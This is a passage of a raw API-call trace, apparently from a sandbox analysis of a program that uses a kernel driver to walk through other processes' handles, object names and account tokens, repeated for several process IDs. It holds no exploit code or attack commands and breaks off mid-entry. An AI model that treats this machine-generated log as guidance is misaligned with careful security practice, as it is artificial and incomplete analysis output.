cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.793] CloseHandle (hObject=0xc8) returned 1 [0137.793] CloseHandle (hObject=0xc0) returned 1 [0137.793] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.793] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.793] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.793] PsAcquireProcessExitSynchronization () returned 0x0 [0137.793] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054735d0) [0137.793] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800211b720, HandleInformation=0x0) returned 0x0 [0137.793] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.793] PsReleaseProcessExitSynchronization () returned 0x2 [0137.793] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0137.793] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.793] ObfDereferenceObject (Object=0xfffffa800211b720) returned 0x1 [0137.793] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.793] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.793] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.793] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0137.793] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.793] PsAcquireProcessExitSynchronization () returned 0x0 [0137.793] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054735d0) [0137.793] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800211d120, HandleInformation=0x0) returned 0x0 [0137.793] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.793] PsReleaseProcessExitSynchronization () returned 0x2 [0137.793] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0137.793] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0137.794] ObfDereferenceObject (Object=0xfffffa800211d120) returned 0x1 [0137.794] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.794] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.794] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.794] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.794] PsAcquireProcessExitSynchronization () returned 0x0 [0137.794] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880054735d0) [0137.794] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.794] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.794] PsReleaseProcessExitSynchronization () returned 0x2 [0137.794] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0137.794] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.794] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.794] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.794] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.794] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa50) returned 0xc0 [0137.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.794] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002128740, HandleInformation=0x0) returned 0x0 [0137.794] ObOpenObjectByPointer (in: Object=0xfffffa8002128740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.794] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x12 [0137.794] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.794] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.794] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.794] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.794] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.796] CloseHandle (hObject=0xc8) returned 1 [0137.796] CloseHandle (hObject=0xc0) returned 1 [0137.796] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.796] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.796] PsAcquireProcessExitSynchronization () returned 0x0 [0137.796] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054735d0) [0137.796] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002128070, HandleInformation=0x0) returned 0x0 [0137.796] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.796] PsReleaseProcessExitSynchronization () returned 0x2 [0137.796] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0137.796] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.796] ObfDereferenceObject (Object=0xfffffa8002128070) returned 0x1 [0137.796] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.796] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.796] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0137.796] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.796] PsAcquireProcessExitSynchronization () returned 0x0 [0137.797] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054735d0) [0137.797] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001ff4f20, HandleInformation=0x0) returned 0x0 [0137.797] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.797] PsReleaseProcessExitSynchronization () returned 0x2 [0137.797] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0137.797] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.797] ObfDereferenceObject (Object=0xfffffa8001ff4f20) returned 0x1 [0137.797] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.797] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.797] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.797] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.797] PsAcquireProcessExitSynchronization () returned 0x0 [0137.797] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880054735d0) [0137.797] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.797] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.797] PsReleaseProcessExitSynchronization () returned 0x2 [0137.797] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0137.797] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.797] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.797] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.797] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.797] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa60) returned 0xc0 [0137.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.797] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002001330, HandleInformation=0x0) returned 0x0 [0137.797] ObOpenObjectByPointer (in: Object=0xfffffa8002001330, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.797] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x12 [0137.797] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.797] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.797] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.798] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.798] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.799] CloseHandle (hObject=0xc8) returned 1 [0137.799] CloseHandle (hObject=0xc0) returned 1 [0137.799] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.799] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.799] PsAcquireProcessExitSynchronization () returned 0x0 [0137.799] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054735d0) [0137.799] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002001bd0, HandleInformation=0x0) returned 0x0 [0137.799] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.799] PsReleaseProcessExitSynchronization () returned 0x2 [0137.799] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0137.799] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.799] ObfDereferenceObject (Object=0xfffffa8002001bd0) returned 0x1 [0137.799] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.799] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.799] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0137.799] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.800] PsAcquireProcessExitSynchronization () returned 0x0 [0137.800] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054735d0) [0137.800] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020b71b0, HandleInformation=0x0) returned 0x0 [0137.800] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.800] PsReleaseProcessExitSynchronization () returned 0x2 [0137.800] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0137.800] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.800] ObfDereferenceObject (Object=0xfffffa80020b71b0) returned 0x1 [0137.800] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.800] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.800] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.800] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.800] PsAcquireProcessExitSynchronization () returned 0x0 [0137.800] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880054735d0) [0137.800] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.800] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.800] PsReleaseProcessExitSynchronization () returned 0x2 [0137.800] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0137.800] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.800] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.800] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.800] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.800] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa70) returned 0xc0 [0137.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.800] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80020c2b30, HandleInformation=0x0) returned 0x0 [0137.800] ObOpenObjectByPointer (in: Object=0xfffffa80020c2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b08) returned 0x0 [0137.800] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x12 [0137.800] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b08, DesiredAccess=0x8, TokenHandle=0xfffffa8002493440 | out: TokenHandle=0xfffffa8002493440*=0xc8) returned 0x0 [0137.800] ZwClose (Handle=0xffffffff80000b08) returned 0x0 [0137.800] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.801] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.801] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.802] CloseHandle (hObject=0xc8) returned 1 [0137.802] CloseHandle (hObject=0xc0) returned 1 [0137.802] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0137.802] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.802] PsAcquireProcessExitSynchronization () returned 0x0 [0137.802] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054735d0) [0137.802] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002069b00, HandleInformation=0x0) returned 0x0 [0137.802] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.802] PsReleaseProcessExitSynchronization () returned 0x2 [0137.802] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0137.802] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473508) returned 0x0 [0137.802] ObfDereferenceObject (Object=0xfffffa8002069b00) returned 0x1 [0137.802] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.802] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.802] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0137.802] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.803] PsAcquireProcessExitSynchronization () returned 0x0 [0137.803] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054735d0) [0137.803] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800207a800, HandleInformation=0x0) returned 0x0 [0137.803] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.803] PsReleaseProcessExitSynchronization () returned 0x2 [0137.803] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x10 [0137.803] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473508) returned 0x0 [0137.803] ObfDereferenceObject (Object=0xfffffa800207a800) returned 0x1 [0137.803] IofCompleteRequest (Irp=0xfffffa80037d1ee0, PriorityBoost=0) [0137.803] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.803] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.803] PsLookupProcessByProcessId (in: ProcessId=0xa70, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.803] PsAcquireProcessExitSynchronization () returned 0x0 [0137.803] KeStackAttachProcess (in: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80020c2b30, ApcState=0xfffff880054735d0) [0137.803] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: 